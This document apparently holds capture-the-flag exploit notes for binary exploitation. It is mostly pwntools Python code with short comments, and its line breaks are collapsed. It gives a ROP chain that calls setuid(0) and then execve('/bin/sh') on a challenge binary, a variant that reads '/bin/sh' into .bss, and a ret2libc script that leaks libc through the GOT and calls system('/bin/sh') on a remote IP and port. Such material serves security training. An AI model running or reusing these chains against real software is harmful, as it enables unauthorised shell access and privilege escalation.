from pwn import*offset =80bin=ELF('/challenge/babyrop_level4.0')p =bin.process()stack_leak = p.recvline_startswith(b'[LEAK] Your input buffer is located at:')payload =b'/bin/sh\x00'payload +=b"A"* offsetprint(stack_leak)#My addressespop_rax =0x0000000000401fadpop_rdi =0x0000000000401fd5bin_sh = stack_leak.split()[-1][:-1].decode()bin_sh =int(bin_sh, 16)pop_rsi =0x0000000000401fcdpop_rdx =0x0000000000401fa5syscall =0x0000000000401fb5ret =0x000000000040101a#setuid(0) - So that I can run the binary as rootpayload +=p64(pop_rax)+p64(0x69)payload +=p64(pop_rdi)+p64(0)payload +=p64(syscall)#execve('/bin/sh',0,0)payload +=p64(pop_rax)+p64(0x3b)payload +=p64(pop_rdi)+p64(bin_sh)payload +=p64(pop_rsi)+p64(0)payload +=p64(pop_rdx)+p64(0)payload +=p64(syscall)p.sendline(payload)p.interactive()
Alternatively, if /bin/sh is not on the binary, we can use other functions such as read() and gets() to write to .bss
#Syscall to READ firstpayload +=p64(pop_rax)+p64(0x00)payload +=p64(pop_rdi)+p64(0x00)#addr of bss via elf.bss()payload +=p64(pop_rsi)+p64(addr_bss)payload +=p64(pop_rdx)+p64(0x8)payload +=p64(syscall)#Rest of the normal syscall payloadp.sendline(payload)#Sending /bin/sh string to stdinp.sendline(b'/bin/sh\x00')
Ret2Libc
#!/usr/bin/env python3from pwn import*exe =ELF("./pet_companion_patched")libc =ELF("./libc.so.6")ld =ELF("./ld-linux-x86-64.so.2")context.binary = exe# p = process('./pet_companion_patched')p =remote('94.237.58.155',32207)# gdb.attach(p)offset =72POP_RSI =0x400741POP_RDI =0x400743write_plt = exe.sym["write"]main = exe.sym["main"]write_got = exe.got["write"]payload =b"A"* offset payload +=p64(POP_RSI)payload +=p64(write_got)payload +=p64(0x0)payload +=p64(write_plt)#Returning to mainpayload +=p64(main)p.recvuntil(b"status:")p.clean()p.sendline(payload)p.recvuntil(b'Configuring...\n\n')write_leak =u64(p.read(8))write_offset = libc.sym["write"]#using write to leak libc addresslibc.address = write_leak - write_offsetbin_sh =next(libc.search(b"/bin/sh"))system = libc.symbols['system']# getting system() in libc addrsecond_payload =b'A'* offset#Might need to use other ROP gadgets to clear registers for certain function calls second_payload +=p64(POP_RDI)second_payload +=p64(bin_sh)second_payload +=p64(system)p.recvuntil(b"status:")p.clean()p.sendline(second_payload)p.interactive()